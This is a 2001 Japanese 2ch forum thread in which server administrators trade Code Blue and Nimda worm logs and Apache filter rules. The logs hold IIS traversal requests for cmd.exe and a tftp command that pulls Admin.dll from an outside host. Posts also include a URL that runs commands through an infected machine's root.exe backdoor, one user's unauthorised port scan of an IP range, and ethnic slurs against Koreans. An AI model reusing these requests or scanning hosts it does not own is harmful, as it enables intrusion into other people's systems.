◆Code Blue◆ 2000厨は逝ってよし

参照
http://ton.2ch.net/test/read.cgi?bbs=sec&key=997783469

リターンヘッダを見るようにコードを修正しろ。

Code赤がいくらか落ちついたと思ったら　今度は青だってか。
トラフィックが無茶増えて苦しいぞ、うちの回線。

なんか勢い増してきたみたい・・。鬱だ

ISSには
>Code Blueは対象にHTTP HEAD照会を送信し、対象からのレスポンスを検査します。
>IISがインストールされていることが分かると、Code BlueはHTTP GET要求を送信し、

って書いてあるけど、今来てるやつらはいきなりGET投げて来るから亜種だと思う。

MSNがやられましたｗ
topを読むと送られてきます。
http://www.msn.co.jp/readme.eml

ところで…てゆうか、はあ…もうカンベンしてほしいね。新鮮味もなにもないよ…

秋の新作ってトコかな　（藁

では、前回の反省を活かしてIPは晒しアリの方向で。

/_mem_bin/..%5c../..%5c..
/_vti_bin/..%5c../..%5c..
あー、来てる来てる。こいつかあ。

www4.jvnet.or.jp
↑こっからも飛んでくる。。。。。
こんなプロバイダには加入したくないものだ。。。。

参考：
http://memo.st.ryukoku.ac.jp/archive/200109.month/1197.html

また祭り？

私の所には　いまのところ
203.***.***.***　しかこないですよ　みなさんは？

不正アクセス禁止法で告訴したい！！！

202.xxx.xxx.xxx なIPに鯖があるんだが、JPドメインからどんどん来るね

>>14
自分のIPがそうなんじゃないの？

>>13
♪♪秋祭り♪♪

今回の奴は鯖のHTMLも書き換え、IE使ってる人にファイルをDLさせる
みたい。IEな人は MS01-020 のパッチ当てとくほうがいいね。
http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776&ls=50

>>そうみたいです
　なんで？

秋の新作の名は　Nimda　というらしい？
MSN関連スレの方が盛り上がってるね
http://www.trusecure.com/html/tspub/hypeorhot/rxalerts/tsa01024_cid177.shtml

テロ〜嫌い。
まぁ祭りになりそうですね〜

うちにもさっきから怒濤のように来だしたよ。（極鬱

何事かと思って色々調べてたんだけど、２ｃｈはやっぱみんな早いねぇ（感心）
恥ずかしながら最初に来たのがニイハオのＩＰだったんで、慌ててＩＰ蹴ってた。

で、これがBlue？
うちもいきなりＧＥＴから入っているんですが・・・

どうも、Code Blueでは無さそう。
↑にリンクしたけど、17日に報告されてる新作のNimdaと思われ

Code BlueとCode Redとログはどう違うの？
最近、Zone Alarmがよけいに警告増えてきた(T_T)

リンク追加：
http://securityresponse.symantec.com/avcenter/venc/data/[email protected]

CodeRedのアクセスログがかわいく見える…。

<丶｀∀´>ニムダ！

>>24
ログの見え方的には
初代Code Redは NNNNNNNN　ってNがいっぱい
Code Red2は XXXXXXXXXX　ってXいっぱい
Code Blueは　・・・・よくわからん。
>>1の　ISSKKのURL見てね

テロ〜嫌い。
まぁ祭りになりそうですね〜

>>8　サンクス

ISSの情報ではCode Blueが来たならばまずHEADメソッドの
ログがあるはずだからその辺で見分けられるでしょう。
#わたしゃApache使いなのでわからんのです

コレの影響か、Code Red2が激減した。

CERTにも情報出たみたいだ。
http://www.cert.org/current/current_activity.html#port80

しかし飛んでくる量が赤虫＆赤虫�Uの比じゃないな。

同じＩＰから概出の穴を舐めるように１セットで飛んでくる。
そんなとこまで舐めちゃイやん（バカ）
"GET /scripts/..?../winnt/system32/cmd.exe HTTP/1.0" 404 215

今度はどこの国が作ったのかね。おれはアメリカに100ペソ

2週間食料供給が途絶えれば人が餓死する
可能性が増えるようなアフガンの人がWormを作れる
わけないだろし。そもそも電気だってまともになさげ。
いくらタイムリーだからってラディンと結びつけるのは
単純だと思われ。

16:36:16 168.11.112.104 - GET /scripts/root.exe /c+dir 404 494 72 HTTP/1.0 - - -
なんてのが来た、ゲ、内側かとか思ってしまった。

アタックがDNSサーバーらしきところからが多いんだけど、
DNSサーバーの穴掘られてるのかしらん。

アメリカ・・・

>>35
さては君誤爆だね？

昨晩１０時から
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-"
の嵐。ほとんど韓国のＩＰだが、時に日本企業のもある。
何とかしてクレー。ページが重いよ。

>>34
ニムダ・・・ニﾑダ・・・ニ・ダ・・・ニダ・・・チョンじゃねーか（ｗ

ああぁ、帯域半分食われてるよ。128Kしかないのに。
ここは、IIS無いんだから勘弁してよぉ〜。
IPが202.230.xx.xxだからなのか、キムチの国から
いっぱいいっぱいやってくる。
もうやめてぇ〜。鬱だし脳。

まあキムチでも食ってﾏﾀｰﾘ逝こうよ

16回アタックで１セット？

キムチ買いに逝ってきます。

マータリ考えて
Apacheのな人向けのログ切り出しサンプル考えてみたです。
warmのゴミログとマトモなアクセスログと切り離せます

SetEnvIf Request_URI "default\.ida" warmlog
SetEnvIf Request_URI "cmd\.exe" warmlog
SetEnvIf Request_URI "root\.exe" warmlog
CustomLog /var/log/apache/warmlog combined env=warmlog
CustomLog /var/log/apache/accesslog combined env=!warmlog

さーて寝よ

pc201.hellobox.co.jpからの攻撃が立て続けに来ている。
はっきりいってウザイ・・・

>>44
ログ見てみると、どうやらそのようだね。

wormね

>>49
わーむだす。

>>50
？？？

>>46のスペルが違うな〜って思っただけ

はずかしー。

s/warm/worm/

>>51
ノッタだけなので・・ｽﾏｿ
スペル？知りません（爆

ログがお祭り状態。
確かに韓国からも多いけど、com、net、eduからの訪問も。

いやいや、当方半分以上は日本の企業ですぜ。
なかにはinterqもはいってるんだけど、、、
おまえISPのくせになにやってんだゴルァ

INTERLINKもISPのくせに自分とこのｗｗｗに感染。顧客を攻撃中ダヨ。

さすがにもう噂になっているのね。

おれはAN-HTTPDだけど、１時間ほど放っておいて飯を食べていたら、タスクバーが
ビカビカ光っているのを見てびびってしまった。

しかし、よく来るね。
基本的にCGIの動作確認用に使っているだけなので、そろそろポート80を閉じて
しまおう。ログ見るのあきた。

理研ビニル工業株式会社だと

dns1.****.co.jpやら
ns.****.co.jpとかからバンバン来る・・・

多いなあ。2時台だけで21件。

同じホストからなんども来るねえ・・・

うちには2−3分ごとに8発づつくる！

ウチはLINUXサーバですが
ドキュメントルートにc/winnt/system32/とフォルダをつくり
cmd.exeという名前でブラクラを置きました・・・
接続してくるサーバはリソース消費して落ちないのでしょうか
落ちてくれないと気が付かないのでしょうね・・・

落ちるのはそのブラクラに対応したブラウザで接続してきたお方でございます。
カウンタでも作りましょう。わーむちゃんのログを隔離して解析するもよし。

18/Sep/2001/22:34.21　からXXXXXXXがほとんどなくなって...

/scripts/root.exe?　の類の嵐。種類はいっぱい
ダミーのroot.exeを置いてるけど。誰か探ってんのかなと思ったら
来る奴みんな探っていってるから、これがblueかな？
本格的に始まったみたい

HostnameLookups Double
にしてて　ほとんどIPアドレスのままなんだけど
httpd-access.logとかに
HostNameにうまく変える方法ないですか？

>>56
詳細きぼん♪

>>66

logresolve とかどうですか?

logresolve is a post-processing program to resolve IP-
adresses in Apache's access logfiles. To minimize impact
on your nameserver, logresolve has its very own internal
hash-table cache. This means that each IP number will only
be looked up the first time it is found in the log file.

＞＞65
赤虫のときに、ダミー置くとIISと判断されて集中砲火を食らう、という事例があったけど、
青虫ではどうなんだろうか？

＞68
負荷の問題ではなくそもそも逆引きがDNS登録されていないだけだから
それでは役に立たないと思われ。。

KDDIS　ゴラァ
何が「ＫＤＤＩの日本橋ＡＰ内に設置するため、空調・電源は万全です。」だ！！！
てめぇんとこの鯖がワームに感染してんじゃねーよ
確かにセキュリティー・ウィルス対策していますとは書いてねーけど。
管理者クビポンにしろ

http://www.kddis.ne.jp/new2/top.html

Nimdaの続報　日本語版登場です
http://www.symantec.co.jp/region/jp/sarcj/data/w/[email protected]

こんな所からも来ました。

Domain Information: [ドメイン情報]
a. [ドメイン名] IISR.GR.JP
e. [そしきめい] いんたーねっとじょうほうせんりゃくけんきゅうしょ
f. [組織名] インターネット情報戦略研究所
g. [Organization] Internet Information Strategy Research Institute
k. [組織種別] 任意団体
l. [Organization Type] Group
m. [登録担当者] SA1256JP
n. [技術連絡担当者] SA1256JP
p. [ネームサーバ] ns1.iisr.gr.jp
p. [ネームサーバ] ns1.nava21.ne.jp
p. [ネームサーバ] ns3.nava21.ne.jp
y. [通知アドレス] [email protected]
[状態] Connected (2002/03/31)
[登録年月日] 2000/10/03
[接続年月日] 2000/10/30
[最終更新] 2001/03/19 16:05:44 (JST)
[email protected]

ここの名前(・∀・)ｲｲ
ニムダアタック晒し

Domain Information: [ドメイン情報]
a. [ドメイン名] KIDDYLAND.CO.JP
e. [そしきめい] かぶしきがいしゃきでいらんど
f. [組織名] 株式会社 キデイランド
g. [Organization] KIDDY LAND CO.,LTD
k. [組織種別] 株式会社
l. [Organization Type] Corporation
m. [登録担当者] SA235JP
n. [技術連絡担当者] KS1250JP
p. [ネームサーバ] ns.kiddyland.co.jp
p. [ネームサーバ] s-field1.sunfield.ne.jp
y. [通知アドレス] [email protected]
[状態] Connected (2002/03/31)
[登録年月日] 1997/12/02
[接続年月日] 1998/02/02
[最終更新] 2000/02/14 09:51:41 (JST)
[email protected]

これで１セットみたいよ
- -> /c/winnt/system32/cmd.exe
- -> /d/winnt/system32/cmd.exe
- -> /scripts/..%5c../winnt/system32/cmd.exe
- -> /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
- -> /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
- -> /msadc/..%5c../..%5c../..%5c/..\xc1^\../..\xc1^\../..\xc1^\../winnt/system32/cmd.exe
- -> /scripts/..\xc1^\../winnt/system32/cmd.exe
- -> /scripts/..\xc0/../winnt/system32/cmd.exe
- -> /scripts/..\xc0\xaf../winnt/system32/cmd.exe
- -> /scripts/..\xc1\x9c../winnt/system32/cmd.exe
- -> /scripts/..%5c../winnt/system32/cmd.exe
- -> /scripts/..%5c../winnt/system32/cmd.exe
- -> /scripts/..%5c../winnt/system32/cmd.exe
- -> /scripts/..%2f../winnt/system32/cmd.exe

こんなニュースめっけた。
http://www.zdnet.co.jp/news/0109/12/e_codeblue.html

http://www.zdnet.co.jp/broadband/0109/07/codegreen.html

bule green どれがどれ？

これメチャメチャおもろい！
http://www.security.nl/misc/codered-stats/geodist.gif

俺もあまりに頭にきたのでさらします
203.141.185.132 - - [18/Sep/2001:22:27:17 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282
Domain Information: [ドメイン情報]
a. [ドメイン名] OFFICETOKYO.CO.JP
e. [そしきめい]
f. [組織名] 東京事務所有限会社
g. [Organization] TOKYO JIMUSHO Co.,Ltd.
k. [組織種別] 有限会社
l. [Organization Type] Company
m. [登録担当者] TF198JP
n. [技術連絡担当者] TF198JP
p. [ネームサーバ] dns1.officetokyo.co.jp
p. [ネームサーバ] mars.kcom.ne.jp
y. [通知アドレス]
[状態] Connected (2002/03/31)
[登録年月日] 1997/03/28
[接続年月日] 1997/04/15
[最終更新] 1998/06/09 19:04:59 (JST)
[email protected]

http://kanko.maizuru-bay.or.jp/
もやばいです。
おそらくNimdaでしょう。
皆さんアクセスしないようにしましょう。

へ〜CodeBlueかぁ・・・と思ってウチのApacheのログ見たら

GET /scripts/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 274 "-" "-"
GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284 "-" "-"
GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284 "-" "-"
GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298 "-" "-"
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-" "-"
GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-" "-"
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 331 "-" "-"
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297 "-" "-"
GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297 "-" "-"
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297 "-" "-"
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297 "-" "-"
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281 "-" "-"
GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281 "-" "-"
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298 "-" "-"
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298 "-" "-"

ぎっしりこれで埋まってた。ようやくCodeRedが収まってきたと思ったら・・・。
ていうかこれCodeRed全盛の時よりももっとたくさんきてる気がするよ。

>>63
/c/winnt/system32/cmd.exe があると４発増える

GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20210.145.120*%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0
GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20210.145.120*%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0
GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20210.145.120*%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0
GET /c/Admin.dll HTTP/1.0

>>82
ん？どういう意味？

ここもあった。
210.91.255.164

211.185.177.1
66.125.116.35
211.196.186.105
202.62.120.21
211.186.149.122

>>83
バックドアが見つかったと思ってAdmin.dllっつーのを
送り込もうとして来るみたい。

なんだか一度にまとめて同一IPからぶっ放してくると思うと
その後はしばらく止んだり・・・と攻撃が散漫ですね

せめて韓国からのアクセスだけでも蹴れないもんでしょうかね、ふぅ。

誰かが書いてたけど、Nimdaアクセスしてくるやつがcmd.exeを
ゲットしようとするならその名前のやばいファイル置いといて
反撃できないのかなぁ。

>>88
CRcreanみたいなやつ？

>>89
それどんなの？
Google検索でヒットせず・・・。

つーか、これってCodeBlue？？Nimda？？
混乱してきた。

>>90
「ネットを舞台にした赤と緑の対決」 by ZDNet
　ttp://www.zdnet.co.jp/broadband/0109/07/codegreen.html

>>88
>誰かが書いてたけど、Nimdaアクセスしてくるやつがcmd.exeを

Serverサイドで実行されると思われ。自滅してどうする。

>>93
サーバーがIISじゃなきゃ問題ない、とか？

>>92
べりさーんくす！いまから見てきます！
>>93
仕掛けるものにもよると思うけど、とりあえずうちはLinuxだから
平気です。

>>91
Nimda。
CodeBlueもCodeRedも関係ない。
同じ脆弱性もついてるけど、より悪質。

http://www.ipa.go.jp/security/topics/newvirus/nimda.html

話題からそれるけど、こんな記事があった。
http://headlines.yahoo.co.jp/hl?a=20010919-00052271-reu-int

今度はCodeBlueが怒濤のごとくやってきます。困りました。

>>46
/.jpにtypoった奴＋αのが載っててたよ・・。
今更だけどAdmin.dllも含む改訂版を書いておきます。
#Admin.dllは普通だと来ないと思うけど

SetEnvIf Request_URI "default\.ida" wormlog
SetEnvIf Request_URI "cmd\.exe" wormlog
SetEnvIf Request_URI "root\.exe" wormlog
SetEnvIf Request_URI "Admin\.dll" wormlog

CustomLog /var/log/apache/warmlog combined env=wormlog
CustomLog /var/log/apache/accesslog combined env=!wormlog

>>99
っていうかまたtypo。鬱だ。今度こそ

SetEnvIf Request_URI "default\.ida" wormlog
SetEnvIf Request_URI "cmd\.exe" wormlog
SetEnvIf Request_URI "root\.exe" wormlog
SetEnvIf Request_URI "Admin\.dll" wormlog

CustomLog /var/log/apache/wormlog combined env=wormlog
CustomLog /var/log/apache/accesslog combined env=!wormlog

http://210.178.224.129/

こいつ、sadmine,codered,Nimdaブラザースにやられてる。
http://210.228.49.206/scripts/root.exe?/c%20dir%20c:\

>>102
でもc:\tempにはreadme.exe居ないよ？

>>103
c:\にreadme.emlがいる。OE経由の感染か。
base64になってるreadme.exeだね。

210.131.179.1(kes1.kes.co.jp)
210.170.90.179(onmc004.p-ohnishi.co.jp)
210.170.67.130(ns1.tire24.com)
www.tire24.comも同じアドレスだけどつながんない。

CodeRedなんぞ話にならないぐらいたくさん来ているのですが・・・＞nimda

# grep MSADC /var/log/httpd-access.log | cut -f 1 -d " " | sort | uniq -c | sort -n
(中略)
52 210.224.239.42
#

死んでくれ。

どうしてみんなは
「Windowsが欠陥品である」
と言うことに気がつかない？

見ただけで勝手に何かを実行するなんて言う考えは
根本的に間違い。

こんな基地外であるMicro$oftは、早く潰れて下さい。
1番悪いのは、ビルゲイツです。
商売以外にももうちょっと頭使って下さい

で2番目にに悪いのが、ウィルス作成者。
いくらWindowsがショボイと言っても、
そんなことやってはいけません。

3番目に悪いのは、それに気がつかずM$製品を使う
厨房ユーザー

これってCodeBlue? Nimda?↓
[18/Sep/2001:22:58:22 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290

もうどっちだかわからん。

なんでもいいけどUNIXユーザに迷惑かける
のだけはやめてくれ＞Win管理者厨
反省しる。

http://IP/scripts/root.exe?/c+net+send+localhost+"警告！！このマシンにはオサマ・ビンラーディンが潜伏しています！！！"

>>108
激しく同意するが、俺はUNIX使えん厨房(藁

>>111
いかにも怪しいアドレスだ。
こんなとこに潜伏するわけね〜。幼稚なことするな。

>>111
ってーか、、、マトリックスなのか？？
NEO??

大西君とスパイダーマンを何とかしてくれ
夕べから付きまとわれて五月蝿いＹＯ

onmc004.p-ohnishi.co.jp
spider.comcom.co.jp

しかもCOMCOMってやたら怪しいし

>>112
俺もだよ・・・みんなゴメン。ウイルスには感染してないはずだけど。

反省汁の次のスレってこれでいいの？

>>117
多分そうなんでしょう。
でも、今や話題がNimdaに・・・

>>118
サンクス
違うスレに書いてシマタヨ

うちの進行スレの紹介どうしたらいいと思う？
コードブルーのgifとか、nimdaのgifなど作るようですかね？

あとめんどいからindex.htmlをＣＤ−ＲＯＭにしたよ。
万が一書き換えられたらメンドイんで。
これって、有効？↑

>>119

すいません。ちょっと意味がわかんないっす。
進行スレはこのスレ？
indexはどこのindexですか？

>>120
説明不足スマンカッタ
コードレッドが出たときＵＰしたサイト。
http://isweb24.infoseek.co.jp/computer/titikun/CRhuri.htm

index.htmlは漏れの関係してる（管理してる）鯖のこと。
ＣＤ−ＲＯＭならそう簡単に書き換えられないかな〜と思って。

>>121
え〜ん氏に質問っす。
今回は某テレビ局からの取材申し込みないの〜？

>>122
しょっぱなにバックドア開いてるやつの入り方とか
漏れの感染させたＰＣを、いじくってるとこ見てもら
ったらいきなり引いたみたい・・・(^▽^ケケケ
それで放送はあんな風にさらっと逝った。

全然危機感なかったでしょ、放送見ても
漏れが被害者の振りして作っても良かったんだけど
なんせトロイのＧＵＩまで見せたら引いちゃったのよ。
漏れやりすぎたみたい。

漏れって某国営放送局のブラックリストに載った？

>>121
確かにCDにしちゃうと書き換えは無理っぽいっすね。
単にプロパティで読み取り属性付けるだけじゃダメかな？

しかし一般の人ってどうしてこんなに危機感ないんだろう？
>>123見ると、NHKも見て見ぬフリっぽいし。
あんまり大げさにやると無知なヤツらがパニくるから？

>>え〜ん氏
えーもしかして放送済！？
鬱だ。。見逃しちまった。。。。
ＰＣいじくるって何やったのかトッテモ気になるぞ・・・

漏れも見逃した。
ｴｰﾝ｡

※HTTP立ててるとﾌﾟﾛｷｼ使用とか言われるので鬱

オハヨ
>>126-127
見逃してもどうってことないよ。
見た人は判ってると思うが。
それに漏れは出てないし。

打ち合わせの段階で123をやったもんだから
詳しい放送は問題になると思ったのかな？

>>126
9/4だったよな確か
ＰＣいじくるのは、実際にトロイの木馬って見たことありますか？
って聞いたらないって言うからＧＵＩの木馬で漏れのディスク
トップを見せてあげただけ。

その担当者、反省汁板を見てたようなのＹＯ
だからあんまり書けなかった。

[2001/09/24 3:58:04] --unknown-- from: 202.132.46.28 /
[2001/09/24 3:58:10] --unknown-- from: 202.132.46.28 /
[2001/09/24 4:22:22] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:22:23] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:22:23] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:22:23] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:22:24] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:22:24] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:22:25] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:22:25] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:22:26] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:22:26] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:22:27] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:22:27] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:22:28] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:22:28] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:22:29] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:22:29] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:38] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:39] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:39] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:40] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:40] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:41] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:41] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:42] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:42] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:43] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:43] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:44] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:44] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:45] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:45] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:39:45] --unknown-- from: 202.16.214.48 / nihei.ph.sci.toho-u.ac.jp
[2001/09/24 4:42:10] --unknown-- from: 202.29.26.20 /
[2001/09/24 4:42:19] --unknown-- from: 202.29.26.20 /
[2001/09/24 4:42:24] --unknown-- from: 202.29.26.20 /
[2001/09/24 4:42:30] --unknown-- from: 202.29.26.20 /
[2001/09/24 4:42:36] --unknown-- from: 202.29.26.20 /
[2001/09/24 4:42:41] --unknown-- from: 202.29.26.20 /
[2001/09/24 4:42:47] --unknown-- from: 202.29.26.20 /
[2001/09/24 4:42:53] --unknown-- from: 202.29.26.20 /
[2001/09/24 4:42:59] --unknown-- from: 202.29.26.20 /
[2001/09/24 4:43:04] --unknown-- from: 202.29.26.20 /
[2001/09/24 4:43:10] --unknown-- from: 202.29.26.20 /
[2001/09/24 4:43:16] --unknown-- from: 202.29.26.20 /
[2001/09/24 4:43:21] --unknown-- from: 202.29.26.20 /
[2001/09/24 4:43:27] --unknown-- from: 202.29.26.20 /
[2001/09/24 4:43:33] --unknown-- from: 202.29.26.20 /
[2001/09/24 4:43:38] --unknown-- from: 202.29.26.20 /

From: [email protected]
Subject:Lucky Cherry Casino Newsletter
Date :21 Sep 2001 10:55:20 -0000
Received: from [216.191.167.10] by hotmail.com (3.2) with ESMTP id MHotMail*****; Fri, 21 Sep 2001 **:**:** -0700
Received: (qmail 31693 invoked by uid 0); 21 Sep 2001 10:55:20 -0000
From [email protected] Fri, 21 Sep 2001 09:44:17 -0700
Message-ID: < [email protected] >

From : [email protected]
To : [email protected]
Subject: Take a look at this and tell me what you think
Date :Wed, 19 Sep 2001 22:00:38
MIME-Version: 1.0
Received: from [211.23.7.178] by hotmail.com (3.2) with ESMTP id MHotMail*****; Wed, 19 Sep 2001 **:**:** -0700
Received: from html (slip-32-102-47-238.tx.us.prserv.net [32.102.47.238])by www.nakama.com.tw (Postfix) with SMTPid E3B05FB9CA; Thu, 20 Sep 2001 12:07:46 +0800 (CST)
From [email protected] Wed, 19 Sep 2001 20:01:07 -0700
Message-Id: < [email protected] >

From : [email protected]
To : < [email protected] >
Subject :Special Promotion Viagra (6) 50mg. doses FREE Consultation $104.99 ORDER NOW!
Date :Thu, 19 Jul 2001 21:21:18 -0400
MIME-Version: 1.0
Received: from [209.11.18.235] by hotmail.com (3.2) with ESMTP id MHotMail*****; Thu, 20 Sep 2001 **:**:** -0700
Received: from 12.64.204.77 ([12.64.204.77]) by iis2-nyc.kikko.com with Microsoft SMTPSVC(5.0.2195.2966); Wed, 19 Sep 2001 22:17:12 -0400
From [email protected] Thu, 20 Sep 2001 19:37:57 -0700
X-Priority: 3
X-MSMail-Priority: Normal
Errors-To: [email protected]
Return-Path: [email protected]
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
Message-ID: < [email protected] >
X-OriginalArrivalTime: 20 Sep 2001 02:17:14.0830 (UTC)

From : [email protected]


Subject : Re: Make Unlimited Phone Calls for $69.95/month! CODE:7777
Date : Mon, 24 Sep 2001 12:58:00 -0400
Received: from [203.228.117.254] by hotmail.com (3.2) with ESMTP id MHotMail***
From [email protected] Mon, 24 Sep 2001 09:57:49 -0700
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Priority: 3
X-MSMail-Priority: Normal
[email protected]

From : [email protected]
Subject : FREE Pizza Hut pizza for a year !!
Date : Fri, 21 Sep 2001 17:54:25 -0600
MIME-Version: 1.0
Received: from [139.142.205.227] by hotmail.com (3.2) with ESMTP id MHotMail***
Received: from playsic-en4q0ov (localhost) by mail2.playsic.com (LSMTP for Windows NT v1.1b) with SMTP id <[email protected]>; Fri, 21 Sep 2001 18:01:56 -0600
From owner-nolist-testbounce Sat, 22 Sep 2001 00:38:14 -0700

From : PUNTOG.NET < [email protected] >
Subject : World Trade Center + 400 fotos, videos, etc. --> Noticias PUNTOG.NET - 22.09.2001 - SOMOS de 15.000.-
Date : Mon, 24 Sep 2001 21:10:00 +0200
MIME-Version: 1.0
Received: from [195.53.204.158] by hotmail.com (3.2) with ESMTP id MHotMail***
Received: from localhost ([217.126.109.143]) by infonegocio.com with Microsoft SMTPSVC(5.5.1877.507.50); Mon, 24 Sep 2001 00:17:32 +0200
From [email protected] Sun, 23 Sep 2001 15:21:55 -0700
X-Sender: [email protected]
Organization: www.puntog.net
Return-Path: [email protected]
Message-ID: < [email protected] >

ここ、下がり続けてるからｺｯｿﾘここに書こう〜っと。

CodeRedにしても、NimdaにしてもおれのPCに残るアクセスログって
最近jpドメインほとんど来ない（中国、韓国ばっかり）
絶対隠れ感染者居るんだろうなぁと思って、61.121.*.*の80ポートのみに
総スキャンかけてみた。

80ポート空けてるほとんどが、UNIX プラス アパッチ。
でも、たま〜にIIS(w
しかも感染してるし。

ルーターの設定画面も何個か出てきた。
これ、結構面白いかも。

途中経過（感染サイトではないよ）
61.121.70.24
61.121.75.89
61.121.76.66

今日はもうヤメ。

>>133
ﾊｹｰﾝ！（ﾜﾗ

思えば、このスレのタイトルは「2000厨は逝ってよし」なわけだが、
Nimda騒動でその言葉を激しく実感している今日この頃。
セキュリティとかウイルスの問題ではなくて、
基本中の基本も知らない(知ろうともしない)完全なる初心者がW2Kを使っている。
かなーり疲れます。

WIN2000proにIISを同梱したのがアレだと思う。

「NetBus Trojan」が 213.196.131.167,NetBus を許可しました｡ 詳細:
ｲﾝﾊﾞｳﾝﾄﾞ TCP 接続
ﾛｰｶﾙｱﾄﾞﾚｽ､ ｻｰﾋﾞｽは 213.196.131.167,NetBus
ﾘﾓｰﾄｱﾄﾞﾚｽ､ ｻｰﾋﾞｽは 211.238.18.191,1695
ﾌﾟﾛｾｽ名は N/A


[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

Copyleft (C) 水泥棒菊池Ｍツトム県こめよし村１偏屈ババア菊池殿様先生記念館在住役人
フン猿しいやどけてんろ禿タコゴリラ貝市来＠三原名誉会長ダイワ運湯５老出身本社浪再無視

文責　スッポン放送汚れ穴ウンサーチャッキー恩田

>>133
>ルーターの設定画面も何個か出てきた。
・・（以下略

>>136
アレって何？

うちも中国、韓国ばっか。KoreaTelecomのどっかの研究所もあった。

ところで、

こういうのや、
telnet://202.223.228.9

こんなの、
http://www.conet-nagano.gr.jp/

放置すんな(--;

age

ftp.hp-korea.com
姦國HulettPackrdやられてますね…

Code Blue
は終わった？

mail2.pyramidweb.com

From : [email protected]
Reply-To : [email protected]
To : [email protected]
Subject:Merge bills into 1 monthly payment! [dg58t]
Date:Sat, 6 Oct ***** MIME-Version: 1.0
